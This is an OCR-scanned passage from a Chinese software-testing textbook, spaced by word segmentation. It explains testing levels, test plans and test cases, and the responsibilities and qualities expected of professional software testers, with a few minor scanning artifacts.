动态 - 白 使 测 试 方法 es a 

动态 测试 方法 。 | (在 单元 测试 中 ,一 边 运 行 代码 ,一 边 对 te ea 

结果 进行 检查 验证 和 调试 等 ) tg 


2.6 软件 测试 级 别 


软件 测试 贯穿 软件 产品 开发 的 整个 生命 周期 一 一 软件 项 目 一 开始 ,软件 测试 也 就 开始 了 ， 
从 产品 的 需求 评审 到 最 后 的 验收 测试 ,不 同 的 测试 流程 差别 较 大 ,但 从 测试 层次 来 看 ,分 为 单 
元 测试 、 集 成 测试 、 系 统 测试 和 验收 测试 ,是 基本 的 , 即 不 管 采用 什么 开发 模型 ,这 些 层 次 的 测 
试 都 是 必要 的 。 每 个 层次 的 测试 最 好 是 单独 进行 ,只 是 在 某 些 情况 中 ,为 了 减少 测试 工作 量 或 
缩短 开发 周期 ,可 以 进行 层次 的 合并 ,如 单元 测试 和 集成 测试 可 以 合并 、 系 统 测试 和 验收 测试 
可 以 合并 。 

1. 单元 测试 

高 可 靠 性 的 单元 是 组 成 可 靠 系统 的 坚实 基础 ,单元 测试 在 质量 保证 活动 中 举足轻重 。 单 
元 测试 是 在 编码 阶段 .针对 每 个 程序 单元 而 进行 的 测试 ,其 测试 的 对 象 是 程序 系统 中 的 最 小 单 
元 一 一 类 、 函 数 \ 模 块 或 组 件 等 。 单 元 测试 主要 使 用 白 盒 测试 方法 ,从 程序 的 内 部 结构 出 发 设 
计 测 试用 例 , 检 查 程序 模块 或 组 件 已 实现 的 功能 与 定义 的 功能 是 否 一 致 ,以 及 编码 中 是 否 存 在 
错误 。 多 个 单元 可 以 平行 地 、 独 立地 被 测试 ,通常 要 编写 驱动 程序 和 桩 程序 。 

由 于 单元 规模 小 、 功 能 单一 、 逻 辑 简单 ,测试 人 员 有 可 能 通过 技术 设计 文档 ,与 开发 人 员 交 
流 和 源 程序 等 清楚 地 了 解 单元 输入 输出 (I/O) 条 件 和 逻辑 结构 。 采 用 白 盒 方法 的 结构 化 测试 
用 例 ,然后 辅 以 功能 测试 用 例 ,使 之 对 任何 合理 和 不 合理 的 输入 都 能 鉴别 和 响应 ,从 而 能 达到 
较为 彻底 的 测试 。 

单元 测试 是 测试 执行 的 开始 阶段 ,而 且 与 程序 设计 和 实现 有 非常 紧密 的 关系 ,所 以 单元 测 
试 一 般 由 编程 人 员 和 测试 人 员 共 同 完 成 ,编程 人 员 一 般 起 主导 作用 。 在 单元 测试 中 ,除了 上 述 
的 MO 条件、 程序 逻辑 结构 ,程序 路 径 等 实际 测试 手段 之 外 ,还 会 采取 其 他 辅助 手段 ,如 代码 
走读 (Code Review) .静态 分 析 (Static Analysis) 和 动态 分 析 (Dynamic Analysis) 等 。 


2. 集成 测试 

集成 测试 ,也 称 组 装 测试 ,联合 测试 . 子 系统 测试 ,是 在 单元 测试 的 基础 上 ,按照 设计 要 求 
不 断 进行 集成 而 进行 的 相应 测试 ,目的 是 发 现 单元 之 间 的 接口 问题 ,如 接口 参数 类 型 不 匹配 、 
接口 数据 在 传输 中 丢失 ,数据 误差 不 断 积累 等 问题 。 

选择 什么 样 的 方式 把 单元 组 装 起 来 形成 一 个 可 运行 的 系统 ,直接 影响 到 测试 成 本 ,测试 计 
划 、 测 试用 例 的 设计 、 测 试 工具 的 选择 等 。 通 常 有 两 种 集成 方式 : 一 次 性 集成 方式 和 渐 增 式 集 
成 方式 ,但 一 般 要 求 采用 渐 增 式 集成 方式 。 

(1) 一 次 性 集成 方式 。 首 先 对 各 个 单元 分 别 进行 测试 ,然后 再 把 所 有 单元 组 装 在 一 起 进 
行 测试 ,最 终 得 到 要 求 的 软件 系统 。 

(2) 渐 增 式 集 成 方式 。 首 先 对 某 两 三 个 单元 进行 测试 ,然后 将 这 些 单元 逐步 组 装 成 较 大 
的 系统 。 在 组 装 的 过 程 中 ,一 边 连接 一 边 测试 ,以 发 现 连接 过 程 中 产生 的 问题 ,最 后 完成 所 有 
单元 的 集成 ,构造 为 一 个 完整 的 软件 系统 。 

3. 系统 测试 

系统 功能 测试 应 该 在 集成 测试 完成 之 后 进行 ,而 且 是 针对 应 用 系统 进行 测试 。 功 能 测试 
是 基于 产品 功能 说 明 书 .用户 角 度 来 对 各 项 功能 进行 验证 ,以 确认 每 个 功能 是 否 都 能 正常 使 
用 。 在 测试 时 ,不 考虑 程序 内 部 结构 和 实现 方式 ,只 检查 程序 功能 是 否 按照 需求 规格 说 明 书 的 
规定 正常 使 用 ,程序 是 否 能 适当 地 接收 输入 数据 而 产生 正确 的 输出 信息 ,并 且 保 持 外 部 信息 
(如 数据 库 或 文件 ) 的 完整 性 。 功 能 测试 包括 用 户 界面 .各 种 操作 不同 的 数据 输入 输出 和 存储 
等 的 测试 。 

系统 非 功能 性 测试 是 实际 运行 环境 (包括 软 硬 件 平台 、 第 三 方 支持 软件 .用户 数 据 量 等 ) 或 
模拟 实际 运行 环境 之 上 ,针对 系统 的 非 功能 特性 所 进行 的 测试 ,包括 负载 测试 ,性 能 测试 .灾难 
恢复 性 测试 .安全 测试 和 可 靠 性 测试 等 。 

4. 验收 测试 

验收 测试 的 目的 是 向 未 来 的 用 户 表 明 系 统 能 够 像 预定 要 求 那样 工作 ,验证 软件 的 功能 和 
性 能 及 其 他 特性 是 否 与 用 户 的 要 求 一 致 。 基 于 需求 规格 说 明 书 和 用 户 信 息 , 验 证 软件 的 功能 
和 性 能 及 其 他 特性 。 验 收 测试 ,一 般 要 求 在 实际 的 用 户 环境 上 进行 ,并 和 用 户 共同 完成 。 

一 个 软件 产品 或 互联 网 软件 服务 拥有 众多 用 户 , 不 可 能 由 每 个 用 户 验收 ,此 时 采用 称 为 
Alpha(a) 测 试 、Beta(B) 测 试 的 过 程 。Alpha 测试 是 指 软 件 开发 公司 内 部 人 员 开 始 试 用 新 产品 
( 称 为 Alpha 版 本 ) ,在 实际 运行 环境 和 真实 应 用 过 程 中 发 现 测试 阶段 所 没有 发 现 的 缺陷 。 经 
过 Alpha 测试 和 修正 的 软件 产品 称 为 Beta 版 本 。 紧 随 其 后 的 Beta 测试 是 指 公司 外 部 的 典型 
用 户 试用 ,并 要 求 用 户 报告 异常 情况 、 提 出 批评 意见 ,然后 再 对 Beta 版 本 进行 修正 和 完善 ,最 
终 得 到 正式 发 布 的 版 本 。Beta 版 本 是 比较 常见 的 试用 版 本 ,在 互联 网 应 用 系统 中 更 为 普遍 。 


2.7 软件 测试 计划 和 测试 用 例 


就 像 软件 过 程 分 为 基本 工程 过 程 和 支持 过 程 .管理 过 程 ,软件 测试 过 程 也 可 以 分 为 工程 过 
程 和 测试 项 目 管理 过 程 。 从 工程 过 程 看 ,传统 测试 过 程 经 过 需求 评审 、 设 计 评审 .单元 测试 、 集 
成 测试 .系统 测试 、 验 收 测试 ; 而 从 管理 过 程 看 ,经 过 计划 、 设 计 和 执行 的 过 程 ,所 以 有 必要 了 
解 测试 计划 和 测试 用 例 两 个 概念 ,其 中 测试 用 例 是 测试 设计 的 主要 产物 。 


2.7.1 测试 计划 


测试 计划 是 为 了 高 效 地 \ 高 质量 地 完成 测试 任务 而 做 的 准备 工作 ,包括 对 工作 量 的 估算 、 
测试 资源 和 进度 安排 ,测试 风险 评估 ,测试 策略 制定 等 工作 。 测 试 计划 的 基础 是 测试 需求 分 
析 , 基 于 明确 的 测试 需求 分 析 结 果 来 确定 测试 范围 和 测试 任务 ,才能 估算 测试 工作 量 ,得 以 进 
一 步 估 算 所 需 资源 和 时 间 , 并 最 终 制定 测试 计划 书 。 

测试 计划 书 的 内 容 也 可 以 按 集成 测试 ,系统 测试 验收 测试 等 阶段 去 组 织 。 为 每 一 个 阶段 
制定 一 个 计划 书 , 还 可 以 为 每 个 测试 任务 /目的 (安全 性 测试 ,性 能 测试 .可 靠 性 测试 等 ) 制 定 特 
别 的 计划 书 。 测 试 计划 是 一 个 过 程 ,不 仅 是 “测试 计划 书 ” 这 样 一 个 文档 ,测试 计划 会 随 着 情况 
的 变化 不 断 进行 调整 ,以 便于 优化 资源 和 进度 安排 ,减少 风险 ,提高 测试 效率 ,并 及 时 修改 “ 测 
试 计划 书 ”。 测 试 计划 书 的 主要 内 容 集中 在 下 列 几 个 方面 。 

(1) 目标 和 范围 : 包括 产品 特性 、 质 量 目 标 , 各 阶段 的 测试 对 象 、 目 标 ,范围 和 限制 。 

(2) 项 目 估算 : 根据 历史 数据 和 采用 恰当 的 评估 技术 ,对 测试 工作 量 、 所 需 资源 (人 力 、 时 
间 、 软 硬件 环境 ) 做 出 合理 的 估算 。 

(3) 风险 计划 : 对 测试 可 能 存在 的 风险 进行 分 析 、 识 别 , 以 及 对 风险 的 回避 、 监 控 和 管理 。 

(4) 进度 安排 : 分 解 项 目 工 作 结构 ,并 采用 时 限 图 、 甘 特 图 等 方法 制定 时 间 / 资 源 表 。 

(5) 资源 配置 人 员 ,硬件 和 软件 等 资源 的 组 织 和 分 配 包含 每 一 个 阶段 和 每 一 个 任务 所 
需要 的 资源 。 人 力 资源 是 重点 ,而 且 与 日 程 安排 联系 密切 。 当 发 生 类 似 到 了 使 用 期 限 或 者 资 
源 共享 的 时 候 ,要 及 时 更 新 这 个 计划 。 

(6) 跟踪 和 控制 机 制 : 包括 质量 保证 和 控制 .变化 管理 和 控制 等 ,明确 如 何 准备 去 做 一 个 
问题 报告 以 及 如 何 去 界 定 一 个 问题 的 性 质 , 问 题 报告 要 包括 问题 的 发 现 者 和 修改 者 ,问题 发 生 
的 频率 ,是 用 什么 样 的 测试 用 例 测 出 该 问题 的 ,以 及 明确 问题 产生 时 的 测试 环境 。 


2.7.2 测试 用 例 


测试 用 例 (Test Case) 是 为 了 特定 的 测试 目的 (如 考察 特定 程序 路 径 或 验证 某 个 产品 特 
性 ) 而 设计 的 测试 条 件 测试 数据 及 与 之 相关 的 测试 规程 的 一 个 特定 的 使 用 实例 或 场景 。 测 试 
用 例 也 可 以 被 称 为 有 效 地 发 现 软件 缺陷 的 最 小 测试 执行 单元 。 而 测试 脚本 (Test Script) 是 测 
试 工具 执行 的 一 组 指令 集合 ,使 计算 机 能 自动 完成 测试 用 例 的 执行 ,也 是 计算 机 程序 的 一 种 形 
式 。 脚 本 可 以 通过 录制 测试 的 操作 产生 ,也 可 以 直接 用 脚本 语言 编写 脚本 。 测 试用 例 可 以 看 
作 手 工 执行 的 脚本 ,而 测试 脚本 可 以 看 作 是 测试 工具 执行 的 测试 用 例 。 测 试用 例 的 主要 作用 
有 以 下 几 方 面 。 

(1) 测试 用 例 是 测试 人 员 在 测试 过 程 中 的 重要 参考 依据 。 测 试 过 程 中 ,总 要 对 测试 结果 
有 一 个 评判 的 依据 ,没有 依据 ,就 不 可 能 知道 测试 结果 是 通过 了 还 是 没有 通过 ,也 不 知道 输入 
的 数据 正确 与 否 ,这 些 需 要 在 测试 用 例 中 进行 描述 。 

(2) 测试 用 例 可 以 帮助 实施 有 效 的 测试 ,所 有 被 执行 的 测试 都 是 有 意义 的 ,不 要 执行 毫 无 
意义 的 测试 操作 。 测 试 时 是 不 可 能 进行 穷 举 测试 的 ,而 应 以 最 少 的 人 力 资 源 投 入 ,在 最 短 的 时 
间 内 尽 可 能 地 发 现 所 有 的 软件 缺陷 。 完 成 测试 任务 ,就 依赖 于 良好 设计 的 测试 用 例 。 测 试 
例 将 有 助 于 节约 测试 时 间 ,提高 测试 效率 。 

(3) 良好 的 测试 用 例 不 断 地 被 重复 使 用 ,使 得 测试 过 程 事半功倍 。 在 软件 产品 的 开发 过 
程 中 ,要 不 断 推 出 新 的 版 本 ,并 对 原 有 功能 进行 多 次 的 回归 测试 ,即使 在 一 个 版 本 中 ,也 要 进行 


两 三 次 的 回归 测试 。 这 些 回归 测试 ,就 要 求 能 重复 使 用 测试 用 例 。 

(4) 测试 用 例 是 一 个 知识 积累 的 过 程 。 在 测试 过 程 中 ,对 产品 特性 的 理解 会 越 来 越 深 , 发 
现 的 缺陷 也 会 越 来 越 多 。 这 些 缺 陷 中 ,有 些 不 是 通过 事先 设计 好 的 测试 用 例 发 现 的 ,在 对 这 些 
缺陷 进行 分 析 之 后 ,需要 加 入 新 的 测试 用 例 , 这 就 是 知识 积累 的 过 程 。 即 便 最 初 的 测试 用 例 考 
虑 不 周全 , 随 着 测试 的 逐步 深入 下 去 ,也 将 日 趋 完善 。 

测试 用 例 是 测试 执行 的 基础 ,是 根据 相应 的 测试 思路 和 测试 方法 设计 出 来 的 ,所 采用 的 各 
种 测试 设计 方法 会 在 第 3 章 及 其 后 续 章节 进行 介绍 ,但 测试 用 例 的 设计 遵守 一 定 的 流程 ,例如 
下 面 的 设计 步骤 就 比较 常见 。 

(1) 制定 测试 用 例 设 计 的 策略 和 思想 ,在 测试 计划 中 描述 出 来 。 

(2) 设计 测试 用 例 的 框架 ,也 就 是 测试 用 例 的 结构 。 

(3) 细 化 结构 ,逐步 设计 出 具体 的 测试 用 例 。 

(4) 通过 测试 用 例 的 评审 ,不断 优化 测试 用 例 。 


2.8 专业 测试 人 员 的 责任 和 要 求 


虽然 前 面 已 经 介绍 了 软件 测试 类 型 ,测试 层次 ,测试 计划 与 设计 ,基本 了 解 了 测试 工作 ,但 
还 是 不 够 ,有 必要 进一步 了 解 测试 工作 的 主体 一 一 专职 的 软件 测试 人 员 等 。 软 件 测试 工作 可 
以 由 开发 人 员 ,也 可 以 由 这 个 研发 团队 完成 ,但 在 目前 业界 现实 状态 来 看 ,除了 单元 测试 和 集 
成 测试 ,其 他 软件 测试 工作 主要 是 专业 测试 人 员 完成 ,包括 系统 测试 和 验收 测试 ,系统 测试 涉 
及 不 同 的 测试 类 型 ,如 功能 测试 ,性 能 测试 ,兼容 性 测试 ,安全 性 测试 等 。 专 业 测试 人 员 还 要 制 
定 测试 计划 、 设 计 测 试用 例 .执行 测试 ,评估 测试 结果 交付 测试 报告 和 进行 缺陷 分 析 等 。 


2.8.1 专业 软件 测试 人 员 的 责任 


如 果 单 从 软件 测试 来 看 ,软件 测试 团队 是 不 能 保证 产品 质量 的 ,也 就 是 说 ,产品 的 质量 不 
是 靠 测 出 来 的 ,而 是 靠 产品 开发 的 所 有 人 员 ( 需 求 分析 人 员 、 系 统 设计 人 员 程序 员 测试 人 员 
等 ) 共 同 努 力 来 获得 。 专 职 测试 人 员 的 主要 责任 应 该 是 : 

(1) 尽早 地 、 尽 可 能 地 发 现 软件 程序 、 系 统 或 产品 中 的 问题 ,并 督促 开发 人 员 尽 快 地 解决 
程序 中 的 缺陷 ; 

(2) 能 够 全 面 、 客 观 地 评估 软件 质量 ,及 时 提供 项 目的 当前 质量 状态 ; 

(3) 持续 地 提供 软件 产品 质量 的 反馈 ,暴露 产品 质量 风险 ,引导 团队 关注 质量 ; 

(4) 对 质量 工作 的 质量 和 效率 负责 ,成 为 测试 工作 的 负责 人 (Test Owner); 

(5) 成 为 测试 专家 ,不 断 改进 测试 方法 ,提高 测试 效率 ,并 能 够 指导 开发 人 员 或 其 他 人 员 
做 好 测试 ; 

(6) 对 缺陷 进行 根本 原因 分 析 , 抽 象 出 缺陷 模式 ,帮助 团队 做 好 缺陷 预防 ; 

(7) 帮助 团队 建立 质量 保证 体系 ,如 督促 编程 规范 的 建立 和 实施 。 

如 果 公司 没有 质量 保证 (QA) 人 员 ,专职 测试 人 员 的 责任 将 从 测试 领域 扩张 到 整个 质量 
保证 领域 ,这 时 测试 人 员 拥 有 更 多 的 责任 ,如 增加 下 列 责任 。 

(1) 在 产品 的 整个 生命 周期 ,要 与 项 目 中 相关 的 部 门 (市场 .设计 、 开 发 .产品 配置 等 ) 合 
作 , 及 时 发 现 需求 .设计 中 的 出 现 问题 ,从 技术 流程 等 不 同 的 角度 提出 改进 措施 。 

(2) 对 产品 开发 过 程 进行 跟踪 、 审 查 ,及 时 纠正 流程 中 所 出 现 的 问题 ,不 断 改 进 流程 。 


(3) 分 析 竞 争 对 手 的 产品 ,了 解 自己 产品 设计 的 不 足 , 提 出 改进 的 意见 。 

把 软件 测试 和 质量 保证 两 项 职能 结合 起 来 做 ,工作 会 更 有 效 。 软 件 测试 为 质量 保证 提供 
数据 和 质量 评判 的 依据 ,质量 保证 可 以 指导 软件 测试 的 进行 ,将 缺陷 预防 和 事后 检查 有 机 结合 
起 来 ,质量 保证 和 软件 测试 相辅相成 ,达到 良好 的 效果 。 

专业 测试 人 员 可 以 再 细 分 一 些 角色 ,如 软件 测试 工程 师 (Software Test Engineer,STE)、 
测试 软件 开发 工程 师 (Software Development Engineer in Test,SDET) .自动 化 测试 工程 师 、 
软件 测试 架构 师 (Architect) ,安全 测试 工程 师 ,测试 经 理 等 。 


2.8.2 对 专业 测试 人 员 的 要 求 


不 少 计算 机 软件 业界 人 士 认 为 ,对 软件 测试 人 员 要 求 比较 低 、 容 易 招 聘 ,认为 他 们 只 要 会 
操作 计算 机 、 有 一 定 的 软件 使 用 经 验 就 可 以 了 。 他 们 认为 ,软件 测试 人 员 只 要 一 步 一 步 操 作 所 
要 测试 的 软件 ,就 能 发 现 程序 中 的 问题 ; 或 者 依据 软件 产品 规格 设计 说 明 书 ,通过 和 软件 的 实 
际 表 现 进行 对 比 就 能 够 发 现 两 者 不 一 致 的 地 方 , 发 现 缺陷 ,这 些 都 不 需要 什么 技术 。 

这 种 想法 是 错误 的 。 测 试 工作 的 确 是 一 项 技术 工作 ,不 局 限于 功能 测试 ,在 进行 集成 测试 
和 系统 测试 时 ,测试 人 员 必 须 明 白 被 测 软件 系统 的 实现 原理 方法 以 及 涉及 的 各 种 第 三 方 平 
台 、 技 术 等 内 容 。 专 职 测试 人 员 可 能 要 进行 数据 库 测 试 ,这 时 需要 数据 库 设 计 、 开 发 和 性 能 调 
优等 能 力 ; 专职 测试 人 员 有 时 需要 开发 测试 工具 ,或 针对 某 测试 工具 开发 测试 脚本 ,这 时 需要 
良好 的 编程 能 力 , 而 且 拥 有 编程 或 开发 经 验 的 测试 人 员 会 对 软件 开发 过 程 有 更 深 的 理解 ,对 于 
开发 人 员 、 项 目 经 理 的 沟通 ,测试 工作 改进 等 会 有 很 大 帮助 。 在 进行 性 能 测试 .安全 性 测试 .可 
靠 性 测试 和 兼容 性 测试 等 工作 时 ,这 就 要 求 测试 人 员 掌 握 系统 架构 设计 .系统 特性 标识 .系统 
环境 设置 等 方面 的 知识 。 测 试 的 方法 也 不 能 局 限于 黑 盒 测 试 方法 ,还 需要 结合 白 盒 测试 方法 ， 
这 就 要 求 测试 人 员 具 有 一 定 的 编程 经 验 和 系统 架构 知识 。 对 软件 测试 人 员 的 要 求 ,不 仅 在 技 
术 上 有 和 较 高 要 求 ,而 且 在 沟通 能 力 、 理 解 能 力 、 分 析 问 题 能 力 等 方面 的 要 求 会 更 高 。 


示例 : 测试 工程 师 的 具体 要 求 
。 计算 机 、 数 学 、 物 理 及 相关 专业 ,本 科 以 上 学 历 ; 
工作 作风 严谨 ,具有 很 强 的 责任 心 .积极 的 进取 精神 ; 
熟悉 软件 测试 流程 和 测试 方法 ,具有 一 年 以 上 软件 测试 的 工作 经 验 ; 
。 熟悉 某 一 种 操作 系统 平台 (Windows/Linux/Mac) 和 应 用 平台 ， 
。 掌握 HTML/XML 和 JavaScript, 并 且 具 有 较 好 的 编程 能 力 ,熟悉 ASP/PHP、 
C/C++ 或 Java 编程 语言 ; 
能 够 使 用 一 种 或 两 种 以 上 的 、 目 前 流行 的 软件 测试 工具 ; 
。 拥有 较 好 的 沟通 技巧 ,良好 的 表达 能 力 和 应 变 能 力 ; 
。 具有 良好 的 反 向 思维 和 发 散 思维 能 力 ; 
。 热爱 软件 测试 工作 ,具有 较 强 的 团队 合作 精神 ; 
。 英语 读 写 熟练 ,并 具有 一 定 的 英语 口头 表达 能 力 , 英 语 达 到 四 级 以 上 ; 
。 对 软件 工程 .软件 开发 流程 等 有 很 好 的 认识 ; 
。 有 较 强 的 逻辑 分 析 能 力 和 学 习 能 力 , 良 好 的 文档 撰写 能 力 ; 
具有 独立 分 析 问 题 、 解 决 问题 的 能 力 , 具 备 较 强 的 总 结 能 力 ; 
心理 素质 良好 。 


2.8.3 优秀 测试 工程 师 应 具备 的 素质 


人 是 测试 工作 中 最 有 价值 也 是 最 重要 的 资源 ,只 有 保证 测试 工程 师 良 好 的 素质 ,才能 保证 
测试 ,产品 的 质量 。 然 而 ,在 有 些 公司 让 那些 没有 应 聘 上 开发 职位 的 人 来 做 测试 ,这 绝对 是 错 
误 的 ,最 终 会 损害 企业 。 

为 高 质 高 效 地 完成 测试 任务 ,软件 测试 工程 师 应 具有 很 好 的 素质 和 能 力 , 包 括 沟通 能 力 、 
技术 能 力 、 自 信心 耐心、 怀疑 一 切 的 精神 、 勤 奋 精神 洞察 力 、 适 度 的 好 奇 心 . 反 向 思维 和 发 散 
思维 能 力 、 记 忆 力 等 ,甚至 需要 很 好 的 幽默 感 、 自 我 学 习 能 力 和 创新 能 力 。 在 招聘 测试 工程 师 
时 ,着 重 考察 应 聘 者 是 否 具有 这 些 良 好 的 个 人 素质 ,保证 所 招聘 的 人 符合 测试 人 员 的 要 求 。 

1. 责任 感 

测试 人 员 需 要 高 度 的 责任 感 ,本 着 对 质量 一 丝 不 苟 的 追求 ,坚持 用 客户 的 观点 看 待 问题 ， 
不 放 过 任何 一 个 可 能 存在 的 疑点 ,充分 关注 细节 。 也 只 有 具有 高 度 的 责任 感 ,才能 经 受 得 住 进 
度 或 其 他 方面 来 的 压力 ,始终 把 质量 放 在 第 一 。 只 有 这 样 , 才 能 保证 测试 工作 的 充分 性 和 可 
靠 性 。 

2. 沟通 能 力 

测试 工程 师 需要 同 软件 开发 过 程 中 各 种 角色 进行 沟通 ,具有 与 技术 (开发 者 ) 和 非 技术 人 
员 ( 包 括 客户 ,市 场 人 员 和 培训 人 员 等 ) 的 交流 能 力 。 既 要 可 以 和 用 户 谈 得 来 ,又 能 同 开发 人 员 
说 得 上 话 , 但 他 们 之 间 的 沟通 语言 和 方式 有 很 大 差别 。 和 用 户 沟通 的 重点 是 系统 要 实现 哪些 
功能 .哪些 功能 是 无 关 紧要 的 ,尽量 不 使 用 专业 术 请。 而 和 开发 者 交流 时 , 则 关心 技术 上 的 实 
现 ,常常 使 用 专业 术语 。 而 且 , 也 只 有 深入 沟通 ,才能 完整 地 理解 用 户 的 需求 和 待 实现 的 产品 
特性 ,才能 真正 掌握 产品 设计 和 实现 的 技术 细节 。 

由 于 测试 工作 本 身 是 一 个 重要 的 任务 ,就 是 找 出 程序 .系统 中 的 缺陷 ,有 些 开 发 人 员 觉 得 
是 挑 毛病 ,偶尔 感到 不 高 兴 , 这 时 和 开发 人 员 沟 通 ,更 需要 技巧 ,这 样 才能 将 与 开发 人 员 之 间 可 
能 发 生 的 冲突 和 对 抗 减少 到 最 低 程度 。 测 试 人 员 应 该 把 精力 集中 在 查找 错误 上 面 ,而 不 在 于 
找 出 是 哪个 开发 人 员 引 入 错误 的 , 即 测试 的 结果 是 针对 产品 ,而 不 是 针对 编程 人 员 ,使 用 一 种 
公正 和 公平 的 方式 指出 具体 错误 ,对 于 测试 工作 是 有 益 的 。 一 般 来 说 ,武断 地 对 产品 进行 攻击 
是 错误 的 ,采用 一 些 外 交 方 法 就 比较 好 。 在 遇 到 狭 辩 的 情况 下 ,一 个 幽默 的 批评 将 是 很 有 帮 
助 的 。 

3. 技术 能 力 

软件 测试 归根 结 底 还 是 技术 性 工作 ,归属 于 研发 部 门 ,技术 是 基础 。 如 果 没 有 技术 ,就 只 
能 进行 黑 盒 的 功能 测试 ,有 些 测试 任务 就 无 法 实现 , 某 些 时 候 测 试 效率 比较 低 , 个 人 的 发 展 也 
会 受到 限制 。 有 了 良好 技术 ,在 早期 就 可 以 和 开发 人 员 一 起 讨论 系统 架构 设计 ,验证 系统 是 否 
具有 可 测 性 ,发 现 单 点 失效 、 性 能 瓶颈 等 设计 问题 。 有 了 良好 技术 ,可 以 开发 所 需要 的 测试 工 
具 、 自 动 化 测试 框架 和 自动 化 测试 脚本 等 。 技 术 能 力 .不 局 限于 开发 经 验 、 编 程 能 力 ,还 应 包括 
操作 系统 配置 和 排 错 (Troubleshooting) 能 力 、 网 络 技术 等 。 

4. 自信 心 

开发 人 员 指 责 测试 人 员 出 了 错 是 常 有 的 事 ,测试 工程 师 对 自己 持 有 的 正确 观点 应 有 足够 
的 自信 心 ,对 自己 所 报 的 Bug 应 有 信心 。 如 果 缺 乏 信心 ,很 容易 受 开发 人 员 的 影响 ,测试 工作 
缺乏 独立 性 ,程序 中 的 漏洞 或 缺陷 容易 被 忽略 过 去 ,导致 软件 产品 质量 的 降低 。 


还 有 一 种 情况 也 是 常见 的 ,软件 产品 设计 规格 说 明 书 总 是 或 多 或 少 存在 一 些 逻 辑 问题 , 编 
程 人 员 和 测试 人 员 对 那些 有 问题 的 功能 存在 争议 ,这 时 候 信心 会 帮助 测试 人 员 发 现 产品 设计 
中 的 问题 ,说 服 产品 设计 人 员 。 

5. 耐心 

有 些 软件 测试 工作 需要 难以 置信 的 耐心 。 有 时 需要 花费 大 量 的 时 间 去 分 离 ,识别 一 个 错 
误 ,需要 对 其 中 一 个 测试 用 例 运行 几 十 遍 、 甚 至 几 百 遍 , 了 解 错误 在 什么 特别 的 情况 下 才 发 生 。 
测试 人 员 需 要 保持 耐心 ,尤其 是 在 集中 注意 力 解决 困难 问题 的 时 候 ,特别 是 在 测试 执行 阶段 ， 
面 对 成 百 上 千 个 测试 用 例 ,要 一 个 个 去 执行 ,还 要 在 不 同 的 测试 环境 上 重复 ,耐心 是 必要 的 。 
当然 ,应 尽量 让 测试 工具 去 完成 那些 重复 性 的 任务 。 

6. 怀疑 精神 

可 以 预料 ,开发 人 员 会 尽 自己 最 大 的 努力 将 所 有 的 错误 解释 过 去 ,测试 人 员 在 耐心 听 每 个 
人 解释 的 时 候 , 还 要 保持 高 度 警 惕 ,怀疑 一 切 ,直到 自己 分 析 结 果 或 亲自 测试 之 后 , 才 做 出 决 
定 。 有 了 时 ,对 一 些 功 能 的 设计 和 实现 自觉 就 是 不 对 ,可 以 持 怀疑 态度 ,看 看 是 否 有 更 好 的 实现 
方法 ,可 以 和 产品 设计 人 员 、 开 发 人 员 进 行 更 深入 的 讨论 。 

7. 适度 的 好 奇 心 

在 开发 测试 用 例 时 使 用 的 方法 ,有 点 像 勘探 专家 在 一 个 山洞 中 摸索 前 进 的 方法 一 样 。 虽 
然 周围 可 能 存在 大 量 的 死胡同 ,但 是 测试 工程 师 具 有 适度 的 好 奇 心 ,会 促使 他 们 向 山洞 中 的 深 
处 探索 ,探索 没有 去 过 的 地 方 , 最 终 可 能 会 有 一 个 大 发 现 。 

设计 出 那些 导致 系统 边界 出 错 的 测试 用 例 , 往 往 需要 一 定 的 好 奇 心 。 测 试 工程 师 在 审查 
规格 说 明 书 时 ,可 以 与 开发 人 员 一 起 讨论 各 种 “假设 ”的 场景 ,并 在 大 脑 中 反复 演练 被 测试 系 
统 ,以 找到 可 能 出 现 的 例外 或 边界 问题 。 测 试 人 员 善 于 从 不 同 的 角度 来 进行 探索 性 测试 ,包括 
采用 错误 猜测 法 ,设计 一 些 试图 破坏 系统 的 测试 用 例 。 如 果 测 试 人 员 缺 乏 好 奇 心 , 那 么 只 能 设 
计 出 肤浅 的 测试 用 例 。 

如 果 测 试 人 员 在 一 个 错误 上 花费 太 多 时 间 ,通过 无 数 的 尝试 去 分 析 造 成 这 种 错误 的 根本 
原因 ,这 样 做 也 是 不 正确 的 ,好 奇 心 需要 适度 。 在 及 时 完成 测试 执行 任务 和 编写 灵活 高 效 的 测 
试用 例 之 间 ,在 进度 的 压力 和 探究 错误 发 生根 源 之 间 ,优秀 的 测试 人 员 能 够 取得 平衡 。 怀 疑 精 
神 和 好 奇 心 也 有 一 定 的 联系 ,比较 相似 ,也 需要 适度 ,不 能 " 杞 人 忧 天 ”。 

8. 洞察 力 

具有 适度 的 怀疑 精神 和 好 奇 心 ,如 果 缺 乏 洞 察 力 ,测试 能 力 还 会 受到 较 大 的 限制 。 一 个 好 
的 测试 工程 师 具 有 一 种 先天 的 敏感 性 ,并 且 能 尝试 着 通过 一 些 巧 妙 的 变化 去 发 现 问题 。 例 如 ， 
测试 人 员 能 够 捕获 用 户 使 用 系统 的 一 些 特定 场景 ,发 现 一 些 隐 藏 较 深 的 严重 缺陷 。 如 果 能 够 
洞察 开发 人 员 的 弱点 或 系统 的 薄弱 环节 ,对 更 快 地 发 现 问题 也 会 有 很 大 帮助 。 有 了 和 良好 的 洞 
察 力 , 也 有 助 于 识别 测试 的 风险 ,从 而 降低 测试 的 风险 ,确保 测试 项 目的 成 功 。 

9. 反 向 思维 和 发 散 思维 能 力 

测试 工程 师 应 想 尽 办 法 来 考虑 产品 可 能 出 现 失 败 的 各 种 方式 ,最 大 限度 地 暴露 其 存在 的 
问题 .用 严格 的 边界 条 件 来 检验 它 , 让 系统 经 受 压力 测试 ,或 者 是 强迫 它 处 理 “ 不 可 能 发 生 的 ” 
错误 。 所 有 这 样 的 负面 测试 ,都 需要 反 向 思维 和 良好 的 发 散 思维 能 力 。 

10. 记忆 力 

如 果 测 试 工程 人 员 有 能 力 将 以 前 曾经 遇 到 过 的 类 似 的 错误 从 记忆 深 处 挖掘 出 来 ,这 对 以 


后 的 测试 有 很 大 帮助 ,因为 不 少 错误 是 由 于 开发 人 员 的 不 良 习惯 导致 的 。 在 测试 一 个 产品 的 
新 版 本 时 ,如 果 清 楚 已 发 布 的 各 种 版 本 的 产品 功能 ,就 比较 容易 了 解 新 版 本 的 功能 做 了 哪些 改 
动 为 什么 改 、 怎 样 改 了 之 后 会 对 其 他 特性 有 哪些 影响 等 一 系列 问题 。 如 果 熟 悉 软 件 各 种 老 版 
本 所 出 现 的 缺陷 ,有 助 于 对 新 版 本 的 用 例 设计 和 测试 执行 。 


